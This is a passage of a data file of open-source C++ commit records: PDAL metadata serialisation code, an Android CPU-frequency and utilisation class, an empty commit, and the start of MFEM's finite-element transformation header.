metadata.getVariant() << std::endl;\n    return ostr;\n}\n\n\n} \/\/ metadata\n\n\nboost::property_tree::ptree ByteArray::toPTreeImpl() const\n{\n    using namespace boost;\n\n    property_tree::ptree tree;\n\n    std::ostringstream data;\n    data << *this;\n\n    tree.put(\"data\", data.str());\n    tree.put(\"size\", m_bytes.size());\n    return tree;\n}\n\n\n\nstd::string Metadata::to_xml() const\n{\n    using namespace boost;\n\n    property_tree::ptree m_tree = toPTree();\n\n    property_tree::ptree::const_iterator iter = m_tree.begin();\n\n    property_tree::ptree output;\n\n    while (iter != m_tree.end())\n    {\n        if (iter->first != \"entry\")\n            throw pdal_error(\"malformed Metadata ptree\");\n        const property_tree::ptree& e_tree = iter->second;\n\n        property_tree::ptree entry;\n\n        const std::string& name = e_tree.get_child(\"name\").get_value<std::string>();\n        const std::string& value = e_tree.get_child(\"value\").get_value<std::string>();\n        const std::string& type = e_tree.get_child(\"type\").get_value<std::string>();\n\n        entry.put_value(value);\n        entry.put(\"<xmlattr>.name\", name);\n        entry.put(\"<xmlattr>.type\", type);\n\n        std::pair<property_tree::ptree::const_assoc_iterator, property_tree::ptree::const_assoc_iterator> ret = e_tree.equal_range(\"attribute\");\n\n        for (property_tree::ptree::const_assoc_iterator  o = ret.first; o != ret.second; ++o)\n        {\n            property_tree::ptree const& tree = o->second;\n            std::string const& name =  tree.get_child(\"name\").get_value<std::string>();\n            std::string const& value =  tree.get_child(\"value\").get_value<std::string>();\n\n            boost::property_tree::ptree a;\n            a.put_value(value);\n            a.put(\"<xmlattr>.name\", name);\n            entry.add_child(\"attribute\", a);\n        }\n\n        output.add_child(\"Entry\", entry);\n        ++iter;\n    }\n\n    property_tree::ptree tree;\n    tree.add_child(\"Metadata\", output);\n\n    std::ostringstream oss;\n    boost::property_tree::xml_parser::write_xml(oss, tree);\n    return oss.str();\n\n}\n\n\nstd::string Metadata::to_json() const\n{\n    using namespace boost;\n\n    property_tree::ptree tree = toPTree();\n\n    std::ostringstream oss;\n    boost::property_tree::json_parser::write_json(oss, tree);\n\n    return oss.str();\n\n}\n\nvoid Metadata::addEntry(metadata::Entry const& m)\n{\n    metadata::index_by_name& index = m_metadata.get<metadata::name>();\n\n    std::pair<metadata::index_by_name::iterator, bool> q = index.insert(m);\n    if (!q.second)\n    {\n        index.replace(q.first, m);\n    }\n\n    return;\n}\n\n\nmetadata::Entry const& Metadata::getEntry(std::string const& t) const\n{\n    metadata::index_by_name const& name_index = m_metadata.get<metadata::name>();\n    metadata::index_by_name::const_iterator it = name_index.find(t);\n\n    if (it != name_index.end())\n    {\n        return *it;\n    }\n\n    std::ostringstream oss;\n    oss << \"Entry with name '\" << t << \"' not found, unable to Metadata::getMetadata\";\n\n    throw metadata_not_found(oss.str());\n\n\n}\n\nmetadata::Entry const& Metadata::getEntry(std::size_t t) const\n{\n    metadata::index_by_index const& idx = m_metadata.get<metadata::index>();\n\n    if (t >= idx.size())\n        throw dimension_not_found(\"Index position is not valid\");\n\n    return idx.at(t);\n}\n\nboost::optional<metadata::Entry const&> Metadata::getEntryOptional(std::size_t t) const\n{\n    try\n    {\n        metadata::Entry const& m = getEntry(t);\n        return boost::optional<metadata::Entry const&>(m);\n    }\n    catch (pdal::dimension_not_found&)\n    {\n        return boost::optional<metadata::Entry const&>();\n    }\n}\n\n\nboost::optional<metadata::Entry const&> Metadata::getEntryOptional(std::string const& t) const\n{\n\n    try\n    {\n        metadata::Entry const& m = getEntry(t);\n        return boost::optional<metadata::Entry const&>(m);\n    }\n    catch (pdal::metadata_not_found&)\n    {\n        return boost::optional<metadata::Entry const&>();\n    }\n\n}\n\nbool Metadata::setEntry(metadata::Entry const& m)\n{\n    metadata::index_by_name& name_index = m_metadata.get<metadata::name>();\n    metadata::index_by_name::iterator it = name_index.find(m.getName());\n\n    if (it != name_index.end())\n    {\n        name_index.replace(it, m);\n        return true;\n    }\n    else\n    {\n        std::ostringstream oss;\n        oss << \"Metadata with name '\" << m.getName() << \"' not found, unable to Metadata::setMetadata\";\n        throw metadata_not_found(oss.str());\n    }\n\n    return true;\n}\n\nMetadata::Metadata(Metadata const& other)\n    : m_metadata(other.m_metadata)\n{\n}\n\nMetadata& Metadata::operator=(Metadata const& rhs)\n{\n    if (&rhs != this)\n    {\n        m_metadata = rhs.m_metadata;\n    }\n    return *this;\n}\n\nMetadata Metadata::operator+(const Metadata& rhs) const\n{\n\n    Metadata output;\n\n    metadata::EntryMap const& idx = rhs.getMetadata();\n\n    metadata::index_by_index const& that_datums = idx.get<metadata::index>();\n\n    for (metadata::index_by_index::const_iterator i = that_datums.begin();\n            i != that_datums.end();\n            ++i)\n    {\n        output.addEntry(*i);\n    }\n\n\n    metadata::index_by_index const& this_datums = m_metadata.get<metadata::index>();\n\n    for (metadata::index_by_index::const_iterator i = this_datums.begin();\n            i != this_datums.end();\n            ++i)\n    {\n        output.addEntry(*i);\n    }\n\n    return output;\n}\n\n\nboost::property_tree::ptree Metadata::toPTree() const\n{\n    boost::property_tree::ptree tree;\n\n    metadata::index_by_index const& idx = m_metadata.get<metadata::index>();\n\n    for (metadata::index_by_index::const_iterator iter = idx.begin(); iter != idx.end(); ++iter)\n    {\n        const metadata::Entry& entry = *iter;\n        tree.add_child(\"entry\", entry.toPTree());\n    }\n\n    return tree;\n}\n\n} \/\/ namespace pdal\n\n\nnamespace std\n{\n\nstd::ostream& operator<<(std::ostream& ostr, const pdal::ByteArray& data)\n{\n\n    std::string output = pdal::Utils::base64_encode(data.get());\n\n    ostr << output;\n    return ostr;\n}\n\nstd::ostream& operator<<(std::ostream& ostr, const pdal::Metadata& metadata)\n{\n    boost::property_tree::ptree tree = metadata.toPTree();\n\n    boost::property_tree::write_json(ostr, tree);\n    return ostr;\n}\n\n\n}\n<commit_msg>initialize metadata to blank<commit_after>\/******************************************************************************\n* Copyright (c) 2011, Michael P. Gerlek (mpg@flaxen.com)\n*\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following\n* conditions are met:\n*\n*     * Redistributions of source code must retain the above copyright\n*       notice, this list of conditions and the following disclaimer.\n*     * Redistributions in binary form must reproduce the above copyright\n*       notice, this list of conditions and the following disclaimer in\n*       the documentation and\/or other materials provided\n*       with the distribution.\n*     * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the\n*       names of its contributors may be used to endorse or promote\n*       products derived from this software without specific prior\n*       written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n* OF SUCH DAMAGE.\n****************************************************************************\/\n\n#include <pdal\/Metadata.hpp>\n#include <pdal\/Utils.hpp>\n\n#include <sstream>\n#include <cstring>\n\n#include <sstream>\n#include <string>\n\n#include <boost\/algorithm\/string.hpp>\n\n#include <boost\/property_tree\/xml_parser.hpp>\n#include <boost\/property_tree\/json_parser.hpp>\n\n\nnamespace pdal\n{\n\nnamespace metadata\n{\n\nEntry::Entry(std::string const& name)\n    : m_variant(boost::blank())\n    , m_name(name)\n    , m_type(metadata::Blank)\n    , m_description(\"\")\n    \n{\n    return;\n}\n\n\nEntry::Entry(const Entry& other)\n    : m_variant(other.m_variant)\n    , m_name(other.m_name)\n    , m_type(other.m_type)\n    , m_attributes(other.m_attributes)\n    , m_description(other.m_description)\n{\n    return;\n}\n\nEntry& Entry::operator=(const Entry& rhs)\n{\n    if (&rhs != this)\n    {\n        m_variant = rhs.m_variant;\n        m_name = rhs.m_name;\n        m_description = rhs.m_description;\n        m_type = rhs.m_type;\n        m_attributes = rhs.m_attributes;\n    }\n    return *this;\n}\n\nstd::vector<std::string> Entry::getAttributeNames() const\n{\n    std::vector<std::string> output;\n    metadata::MetadataAttributeM::const_iterator i = m_attributes.begin();\n    while (i != m_attributes.end())\n    {\n        output.push_back(i->first);\n        ++i;\n    }\n\n    return output;\n}\n\nvoid Entry::addAttribute(std::string const& name, std::string const value)\n{\n    std::pair<std::string, std::string> p(name, value);\n    m_attributes.insert(p);\n}\n\nstd::string Entry::getAttribute(std::string const& name) const\n{\n    metadata::MetadataAttributeM::const_iterator p = m_attributes.find(name);\n    if (p != m_attributes.end())\n        return p->second;\n    else\n        return std::string(\"\");\n}\n\nstd::string Entry::getTypeName() const\n{\n    switch (getType())\n    {\n        case metadata::Boolean:\n            return std::string(\"boolean\");\n        case metadata::SignedInteger:\n            return std::string(\"integer\");\n        case metadata::UnsignedInteger:\n            return std::string(\"nonNegativeInteger\");\n        case metadata::Float:\n            return std::string(\"float\");\n        case metadata::Double:\n            return std::string(\"double\");\n        case metadata::String:\n            return std::string(\"string\");\n        case metadata::Bytes:\n            return std::string(\"base64Binary\");\n        case metadata::Bounds:\n            return std::string(\"bounds\");\n        case metadata::SpatialReference:\n            return std::string(\"spatialreference\");\n        case metadata::MData:\n            return std::string(\"metadata\");\n        case metadata::UUID:\n            return std::string(\"uuid\");\n        default:\n            return std::string(\"none\");\n    }\n}\n\nboost::optional<Metadata const&> Entry::getMetadata() const\n{\n    if (m_metadata.get())\n        return boost::optional<Metadata const&>(*m_metadata.get());\n    else\n        return boost::optional<Metadata const&>();\n}\n\nvoid Entry::setMetadata(Metadata const& mdata)\n{\n    metadata::MetadataPtr p = metadata::MetadataPtr(new Metadata(mdata));\n    m_metadata = p;\n}\n\nboost::property_tree::ptree Entry::toPTree() const\n{\n    using boost::property_tree::ptree;\n    ptree dim;\n    dim.put(\"name\", getName());\n    std::ostringstream oss;\n    oss << m_variant;\n    dim.put(\"value\", oss.str());\n    dim.put(\"type\", getTypeName());\n\n    for (metadata::MetadataAttributeM::const_iterator i = m_attributes.begin(); i != m_attributes.end(); ++i)\n    {\n        ptree attribute;\n        attribute.put(\"value\", i->second);\n        attribute.put(\"name\", i->first);\n        dim.add_child(\"attribute\", attribute);\n    }\n\n    return dim;\n}\n\nstd::string Entry::to_xml()\n{\n    std::ostringstream oss;\n\n    using boost::property_tree::ptree;\n\n    ptree tree = toPTree();\n\n    oss << \"<Entry name=\\\"\" << tree.get<std::string>(\"name\") <<\"\\\" type=\\\"\" << tree.get<std::string>(\"type\") <<\"\\\"\";\n    oss << \">\";\n\n    for (metadata::MetadataAttributeM::const_iterator i = m_attributes.begin(); i != m_attributes.end(); ++i)\n    {\n        oss <<\"<Attribute name=\\\"\" << i->first <<\"\\\">\" << i->second <<\"<\/Attribute>\";\n    }\n\n    oss << \"<\/Entry>\";\n    return oss.str();\n\n\n}\nstd::ostream& operator<<(std::ostream& ostr, const Entry& metadata)\n{\n    ostr << metadata.getVariant() << std::endl;\n    \/\/ostr << metadata.getNamespace() << \":\" << metadata.getName() << \"=\" << metadata.getVariant() << std::endl;\n    return ostr;\n}\n\n\n} \/\/ metadata\n\n\nboost::property_tree::ptree ByteArray::toPTreeImpl() const\n{\n    using namespace boost;\n\n    property_tree::ptree tree;\n\n    std::ostringstream data;\n    data << *this;\n\n    tree.put(\"data\", data.str());\n    tree.put(\"size\", m_bytes.size());\n    return tree;\n}\n\n\n\nstd::string Metadata::to_xml() const\n{\n    using namespace boost;\n\n    property_tree::ptree m_tree = toPTree();\n\n    property_tree::ptree::const_iterator iter = m_tree.begin();\n\n    property_tree::ptree output;\n\n    while (iter != m_tree.end())\n    {\n        if (iter->first != \"entry\")\n            throw pdal_error(\"malformed Metadata ptree\");\n        const property_tree::ptree& e_tree = iter->second;\n\n        property_tree::ptree entry;\n\n        const std::string& name = e_tree.get_child(\"name\").get_value<std::string>();\n        const std::string& value = e_tree.get_child(\"value\").get_value<std::string>();\n        const std::string& type = e_tree.get_child(\"type\").get_value<std::string>();\n\n        entry.put_value(value);\n        entry.put(\"<xmlattr>.name\", name);\n        entry.put(\"<xmlattr>.type\", type);\n\n        std::pair<property_tree::ptree::const_assoc_iterator, property_tree::ptree::const_assoc_iterator> ret = e_tree.equal_range(\"attribute\");\n\n        for (property_tree::ptree::const_assoc_iterator  o = ret.first; o != ret.second; ++o)\n        {\n            property_tree::ptree const& tree = o->second;\n            std::string const& name =  tree.get_child(\"name\").get_value<std::string>();\n            std::string const& value =  tree.get_child(\"value\").get_value<std::string>();\n\n            boost::property_tree::ptree a;\n            a.put_value(value);\n            a.put(\"<xmlattr>.name\", name);\n            entry.add_child(\"attribute\", a);\n        }\n\n        output.add_child(\"Entry\", entry);\n        ++iter;\n    }\n\n    property_tree::ptree tree;\n    tree.add_child(\"Metadata\", output);\n\n    std::ostringstream oss;\n    boost::property_tree::xml_parser::write_xml(oss, tree);\n    return oss.str();\n\n}\n\n\nstd::string Metadata::to_json() const\n{\n    using namespace boost;\n\n    property_tree::ptree tree = toPTree();\n\n    std::ostringstream oss;\n    boost::property_tree::json_parser::write_json(oss, tree);\n\n    return oss.str();\n\n}\n\nvoid Metadata::addEntry(metadata::Entry const& m)\n{\n    metadata::index_by_name& index = m_metadata.get<metadata::name>();\n\n    std::pair<metadata::index_by_name::iterator, bool> q = index.insert(m);\n    if (!q.second)\n    {\n        index.replace(q.first, m);\n    }\n\n    return;\n}\n\n\nmetadata::Entry const& Metadata::getEntry(std::string const& t) const\n{\n    metadata::index_by_name const& name_index = m_metadata.get<metadata::name>();\n    metadata::index_by_name::const_iterator it = name_index.find(t);\n\n    if (it != name_index.end())\n    {\n        return *it;\n    }\n\n    std::ostringstream oss;\n    oss << \"Entry with name '\" << t << \"' not found, unable to Metadata::getMetadata\";\n\n    throw metadata_not_found(oss.str());\n\n\n}\n\nmetadata::Entry const& Metadata::getEntry(std::size_t t) const\n{\n    metadata::index_by_index const& idx = m_metadata.get<metadata::index>();\n\n    if (t >= idx.size())\n        throw dimension_not_found(\"Index position is not valid\");\n\n    return idx.at(t);\n}\n\nboost::optional<metadata::Entry const&> Metadata::getEntryOptional(std::size_t t) const\n{\n    try\n    {\n        metadata::Entry const& m = getEntry(t);\n        return boost::optional<metadata::Entry const&>(m);\n    }\n    catch (pdal::dimension_not_found&)\n    {\n        return boost::optional<metadata::Entry const&>();\n    }\n}\n\n\nboost::optional<metadata::Entry const&> Metadata::getEntryOptional(std::string const& t) const\n{\n\n    try\n    {\n        metadata::Entry const& m = getEntry(t);\n        return boost::optional<metadata::Entry const&>(m);\n    }\n    catch (pdal::metadata_not_found&)\n    {\n        return boost::optional<metadata::Entry const&>();\n    }\n\n}\n\nbool Metadata::setEntry(metadata::Entry const& m)\n{\n    metadata::index_by_name& name_index = m_metadata.get<metadata::name>();\n    metadata::index_by_name::iterator it = name_index.find(m.getName());\n\n    if (it != name_index.end())\n    {\n        name_index.replace(it, m);\n        return true;\n    }\n    else\n    {\n        std::ostringstream oss;\n        oss << \"Metadata with name '\" << m.getName() << \"' not found, unable to Metadata::setMetadata\";\n        throw metadata_not_found(oss.str());\n    }\n\n    return true;\n}\n\nMetadata::Metadata(Metadata const& other)\n    : m_metadata(other.m_metadata)\n{\n}\n\nMetadata& Metadata::operator=(Metadata const& rhs)\n{\n    if (&rhs != this)\n    {\n        m_metadata = rhs.m_metadata;\n    }\n    return *this;\n}\n\nMetadata Metadata::operator+(const Metadata& rhs) const\n{\n\n    Metadata output;\n\n    metadata::EntryMap const& idx = rhs.getMetadata();\n\n    metadata::index_by_index const& that_datums = idx.get<metadata::index>();\n\n    for (metadata::index_by_index::const_iterator i = that_datums.begin();\n            i != that_datums.end();\n            ++i)\n    {\n        output.addEntry(*i);\n    }\n\n\n    metadata::index_by_index const& this_datums = m_metadata.get<metadata::index>();\n\n    for (metadata::index_by_index::const_iterator i = this_datums.begin();\n            i != this_datums.end();\n            ++i)\n    {\n        output.addEntry(*i);\n    }\n\n    return output;\n}\n\n\nboost::property_tree::ptree Metadata::toPTree() const\n{\n    boost::property_tree::ptree tree;\n\n    metadata::index_by_index const& idx = m_metadata.get<metadata::index>();\n\n    for (metadata::index_by_index::const_iterator iter = idx.begin(); iter != idx.end(); ++iter)\n    {\n        const metadata::Entry& entry = *iter;\n        tree.add_child(\"entry\", entry.toPTree());\n    }\n\n    return tree;\n}\n\n} \/\/ namespace pdal\n\n\nnamespace std\n{\n\nstd::ostream& operator<<(std::ostream& ostr, const pdal::ByteArray& data)\n{\n\n    std::string output = pdal::Utils::base64_encode(data.get());\n\n    ostr << output;\n    return ostr;\n}\n\nstd::ostream& operator<<(std::ostream& ostr, const pdal::Metadata& metadata)\n{\n    boost::property_tree::ptree tree = metadata.toPTree();\n\n    boost::property_tree::write_json(ostr, tree);\n    return ostr;\n}\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * CPU.cpp\n *\n *  Created on: 28 Jan, 2015\n *      Author: yeokm1\n *\/\n#include <cstdlib>\n#include <stdlib.h>\n#include <android\/log.h>\n#include \"CPU.h\"\n#include \"IOStuff.c\"\n\n\n\n\n#define CLASSNAME \"CPU\"\n#define USERSPACE \"userspace\"\n#define SIZE_PROC_STAT_BUFF 4000\n\nCPU::CPU() {\n\t__android_log_print(ANDROID_LOG_INFO, CLASSNAME, \"CPU Start\");\n\n\tfor(int i = 0; i < NUM_CORES; i++){\n\t\tprevCoreLoad[i] = 0;\n\t\tprevCoreTotal[i] = 0;\n\t}\n\n\tcpuFreqPosition = 0;\n\tsetGovernorToUserspace();\n}\n\nCPU::~CPU() {\n}\n\n\nvector<long> CPU::getCPUFreqs(){\n\treturn cpuFreqs;\n}\n\nvoid CPU::setCPUFreq(int position){\n\tcpuFreqPosition = position;\n\tlong newFrequency = cpuFreqs[position];\n\twriteValueToFile(FILE_CPU_SCALING_FREQ,  newFrequency);\n}\n\nvoid CPU::setGovernorToUserspace(){\n\twriteStringToFile(FILE_CPU_SCALING_GOVERNER, USERSPACE);\n}\n\nvoid CPU::getCPUUtil(float * util){\n\t\/\/String[] toks = io.getAvailableOptionsFromFile(FILE_CPU_UTIL, false);\n\n\tchar utilBuffString[SIZE_PROC_STAT_BUFF];\n\tgetStringFromFile(FILE_CPU_UTIL, utilBuffString, SIZE_PROC_STAT_BUFF);\n\n\tint initialOffset = 10; \/\/The initial offset is to skip the all cores fields\n\tint subsequentOffset = 10;\n\n\tchar * valueString = strtok(utilBuffString, \" \");\n\n\tint currentOffset = 1;\n\n\tfor(; currentOffset < initialOffset; currentOffset++){\n\t\tvalueString = strtok (NULL, \" \");\n\t}\n\n\tfor(int coreNumber = 0; coreNumber < NUM_CORES; coreNumber++){\n\n\t\tstrtok (NULL, \" \"); \/\/Skip the cpuN label\n\n\t\tlong user = atol(strtok (NULL, \" \"));\n\t\tlong nice = atol(strtok (NULL, \" \"));\n\t\tlong system = atol(strtok (NULL, \" \"));\n\t\tlong currentIdle = atol(strtok (NULL, \" \"));\n\t\tlong iowait = atol(strtok (NULL, \" \"));\n\t\tlong irq = atol(strtok (NULL, \" \"));\n\t\tlong softirq = atol(strtok (NULL, \" \"));\n\n\t\t\/\/Clear last few values\n\t\tstrtok (NULL, \" \");\n\t\tstrtok (NULL, \" \");\n\n\t\tlong currentLoad = user + nice + system + iowait + irq + softirq;\n\t\tlong currentTotal = currentLoad + currentIdle;\n\n\t\tutil[coreNumber] = ((((float) (currentLoad - prevCoreLoad[coreNumber])) \/ (currentTotal - prevCoreTotal[coreNumber]))) * 100;\n\n\t\tprevCoreLoad[coreNumber] = currentLoad;\n\t\tprevCoreTotal[coreNumber] = currentTotal;\n\t}\n\n}\n\n<commit_msg>put cpufreqposition down<commit_after>\/*\n * CPU.cpp\n *\n *  Created on: 28 Jan, 2015\n *      Author: yeokm1\n *\/\n#include <cstdlib>\n#include <stdlib.h>\n#include <android\/log.h>\n#include \"CPU.h\"\n#include \"IOStuff.c\"\n\n\n\n\n#define CLASSNAME \"CPU\"\n#define USERSPACE \"userspace\"\n#define SIZE_PROC_STAT_BUFF 4000\n\nCPU::CPU() {\n\t__android_log_print(ANDROID_LOG_INFO, CLASSNAME, \"CPU Start\");\n\n\tfor(int i = 0; i < NUM_CORES; i++){\n\t\tprevCoreLoad[i] = 0;\n\t\tprevCoreTotal[i] = 0;\n\t}\n\tsetGovernorToUserspace();\n\tcpuFreqPosition = 0;\n}\n\nCPU::~CPU() {\n}\n\n\nvector<long> CPU::getCPUFreqs(){\n\treturn cpuFreqs;\n}\n\nvoid CPU::setCPUFreq(int position){\n\tcpuFreqPosition = position;\n\tlong newFrequency = cpuFreqs[position];\n\twriteValueToFile(FILE_CPU_SCALING_FREQ,  newFrequency);\n}\n\nvoid CPU::setGovernorToUserspace(){\n\twriteStringToFile(FILE_CPU_SCALING_GOVERNER, USERSPACE);\n}\n\nvoid CPU::getCPUUtil(float * util){\n\t\/\/String[] toks = io.getAvailableOptionsFromFile(FILE_CPU_UTIL, false);\n\n\tchar utilBuffString[SIZE_PROC_STAT_BUFF];\n\tgetStringFromFile(FILE_CPU_UTIL, utilBuffString, SIZE_PROC_STAT_BUFF);\n\n\tint initialOffset = 10; \/\/The initial offset is to skip the all cores fields\n\tint subsequentOffset = 10;\n\n\tchar * valueString = strtok(utilBuffString, \" \");\n\n\tint currentOffset = 1;\n\n\tfor(; currentOffset < initialOffset; currentOffset++){\n\t\tvalueString = strtok (NULL, \" \");\n\t}\n\n\tfor(int coreNumber = 0; coreNumber < NUM_CORES; coreNumber++){\n\n\t\tstrtok (NULL, \" \"); \/\/Skip the cpuN label\n\n\t\tlong user = atol(strtok (NULL, \" \"));\n\t\tlong nice = atol(strtok (NULL, \" \"));\n\t\tlong system = atol(strtok (NULL, \" \"));\n\t\tlong currentIdle = atol(strtok (NULL, \" \"));\n\t\tlong iowait = atol(strtok (NULL, \" \"));\n\t\tlong irq = atol(strtok (NULL, \" \"));\n\t\tlong softirq = atol(strtok (NULL, \" \"));\n\n\t\t\/\/Clear last few values\n\t\tstrtok (NULL, \" \");\n\t\tstrtok (NULL, \" \");\n\n\t\tlong currentLoad = user + nice + system + iowait + irq + softirq;\n\t\tlong currentTotal = currentLoad + currentIdle;\n\n\t\tutil[coreNumber] = ((((float) (currentLoad - prevCoreLoad[coreNumber])) \/ (currentTotal - prevCoreTotal[coreNumber]))) * 100;\n\n\t\tprevCoreLoad[coreNumber] = currentLoad;\n\t\tprevCoreTotal[coreNumber] = currentTotal;\n\t}\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>trim lhist output<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at\n\/\/ the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights\n\/\/ reserved. See file COPYRIGHT for details.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability see http:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the GNU Lesser General Public License (as published by the Free\n\/\/ Software Foundation) version 2.1 dated February 1999.\n\n#ifndef MFEM_ELEMENTTRANSFORM\n#define MFEM_ELEMENTTRANSFORM\n\n#include \"..\/config\/config.hpp\"\n#include \"..\/linalg\/linalg.hpp\"\n#include \"intrules.hpp\"\n#include \"fe.hpp\"\n\nnamespace mfem\n{\n\nclass ElementTransformation\n{\nprotected:\n   const IntegrationPoint *IntPoint;\n   DenseMatrix dFdx, adjJ, invJ;\n   double Wght;\n   int EvalState;\n   enum StateMasks\n   {\n      JACOBIAN_MASK = 1,\n      WEIGHT_MASK   = 2,\n      ADJUGATE_MASK = 4,\n      INVERSE_MASK  = 8\n   };\n\n   \/\/ Evaluate the Jacobian of the transformation at the IntPoint and store it\n   \/\/ in dFdx.\n   virtual const DenseMatrix &EvalJacobian() = 0;\n\n   double EvalWeight();\n   const DenseMatrix &EvalAdjugateJ();\n   const DenseMatrix &EvalInverseJ();\n\npublic:\n   int Attribute, ElementNo;\n\n   ElementTransformation();\n\n   void SetIntPoint(const IntegrationPoint *ip)\n   { IntPoint = ip; EvalState = 0; }\n   const IntegrationPoint &GetIntPoint() { return *IntPoint; }\n\n   virtual void Transform(const IntegrationPoint &, Vector &) = 0;\n   virtual void Transform(const IntegrationRule &, DenseMatrix &) = 0;\n\n   \/\/\/ Transform columns of 'matrix', store result in 'result'.\n   virtual void Transform(const DenseMatrix &matrix, DenseMatrix &result) = 0;\n\n   \/** Return the Jacobian of the transformation at the IntPoint.\n       The first column contains the x derivatives of the\n       transformation, the second -- the y derivatives, etc.  *\/\n   const DenseMatrix &Jacobian()\n   { return (EvalState & JACOBIAN_MASK) ? dFdx : EvalJacobian(); }\n\n   double Weight() { return (EvalState & WEIGHT_MASK) ? Wght : EvalWeight(); }\n\n   const DenseMatrix &AdjugateJacobian()\n   { return (EvalState & ADJUGATE_MASK) ? adjJ : EvalAdjugateJ(); }\n\n   const DenseMatrix &InverseJacobian()\n   { return (EvalState & INVERSE_MASK) ? invJ : EvalInverseJ(); }\n\n   virtual int Order() = 0;\n   virtual int OrderJ() = 0;\n   virtual int OrderW() = 0;\n   \/\/\/ order of adj(J)^t.grad(fi)\n   virtual int OrderGrad(const FiniteElement *fe) = 0;\n\n   \/** Get dimension of target space (we support 2D meshes embedded in 3D; in\n       this case the function should return \"3\"). *\/\n   virtual int GetSpaceDim() = 0;\n\n   \/** Attempt to find the IntegrationPoint that is transformed into the given\n       point in physical space. If the inversion fails a non-zero value is\n       returned. This method is not 100 percent reliable for non-linear\n       transformations. *\/\n   virtual int TransformBack(const Vector &, IntegrationPoint &) = 0;\n\n   virtual ~ElementTransformation() { }\n};\n\nclass IsoparametricTransformation : public ElementTransformation\n{\nprivate:\n   DenseMatrix dshape;\n   Vector shape;\n\n   const FiniteElement *FElem;\n   DenseMatrix PointMat; \/\/ dim x dof\n\n   \/\/ Evaluate the Jacobian of the transformation at the IntPoint and store it\n   \/\/ in dFdx.\n   virtual const DenseMatrix &EvalJacobian();\n\npublic:\n   void SetFE(const FiniteElement *FE) { FElem = FE; }\n   const FiniteElement* GetFE() const { return FElem; }\n\n   \/** @brief Read and write access to the underlying point matrix describing\n       the transformation. *\/\n   \/** The dimensions of the matrix are space-dim x dof. The transformation is\n       defined as\n\n           x=F(xh)=P.phi(xh),\n\n       where xh (x hat) is the reference point, x is the corresponding physical\n       point, P is the point matrix, and phi(xh) is the column-vector of all\n       basis functions evaluated at xh. The columns of P represent the control\n       points in physical space defining the transformation. *\/\n   DenseMatrix &GetPointMat() { return PointMat; }\n\n   void SetIdentityTransformation(int GeomType);\n\n   virtual void Transform(const IntegrationPoint &, Vector &);\n   virtual void Transform(const IntegrationRule &, DenseMatrix &);\n   virtual void Transform(const DenseMatrix &matrix, DenseMatrix &result);\n\n   virtual int Order() { return FElem->GetOrder(); }\n   virtual int OrderJ();\n   virtual int OrderW();\n   virtual int OrderGrad(const FiniteElement *fe);\n\n   virtual int GetSpaceDim()\n   {\n      \/\/ this function should only be called after PointMat is initialized\n      return PointMat.Height();\n   }\n\n   \/** @brief Find an IntegrationPoint whose transform is closest to pt. *\/\n   \/** This function uses the element's RefinedIntRules of\n       order @a order to find the closest IntegrationPoint to the query\n       point @pt.\n\n       @param pt The query point\n       @param order The refinement order.  Default value of -1 uses\n       the underlying element's order. Value of 0 returns the IntegrationPoint\n       at the element's center.\n       @return The IntegrationPoint from RefinedIntRules of order @a order\n       whose transform is closest to pt *\/\n   const IntegrationPoint FindClosestRefinedPoint(const Vector& pt,\n                                                  int order = -1);\n\n   virtual int TransformBack(const Vector & v, IntegrationPoint & ip)\n   {\n      \/\/ Call overload with default refinement order\n      return this->TransformBack(v, ip, -1);\n   }\n\n   \/** @brief Overload of TransformBack that allows setting the\n       refinement order for choosing solver's starting point. *\/\n   \/** @see FindClosestRefinedPoint for values of @a refinementOrder. *\/\n   int TransformBack(const Vector &, IntegrationPoint &, int refinementOrder);\n\n   virtual ~IsoparametricTransformation() { }\n};\n\nclass IntegrationPointTransformation\n{\npublic:\n   IsoparametricTransformation Transf;\n   void Transform (const IntegrationPoint &, IntegrationPoint &);\n   void Transform (const IntegrationRule  &, IntegrationRule  &);\n};\n\nclass FaceElementTransformations\n{\npublic:\n   int Elem1No, Elem2No, FaceGeom;\n   ElementTransformation *Elem1, *Elem2, *Face;\n   IntegrationPointTransformation Loc1, Loc2;\n};\n\n\/*                 Elem1(Loc1(x)) = Face(x) = Elem2(Loc2(x))\n\n\n                                Physical Space\n\n               *--------*             ^            *--------*\n    Elem1No   \/        \/ \\           \/ \\          \/ \\        \\   Elem2No\n             \/        \/   \\         \/   \\        \/   \\        \\\n            \/        \/  n  \\       \/     \\      \/     \\        \\\n           *--------*   ==> *     (       )    *       *--------*\n            \\        \\     \/       \\     \/      \\     \/        \/\n             \\        \\   \/         \\   \/        \\   \/        \/\n              \\        \\ \/           \\ \/          \\ \/        \/\n               *--------*             v            *--------*\n\n              ^                                              ^\n              |                       ^                      |\n        Elem1 |                       |                      | Elem2\n              |                       | Face                 |\n                                      |\n        *--------*                                          *--------*\n       \/        \/|                                         \/        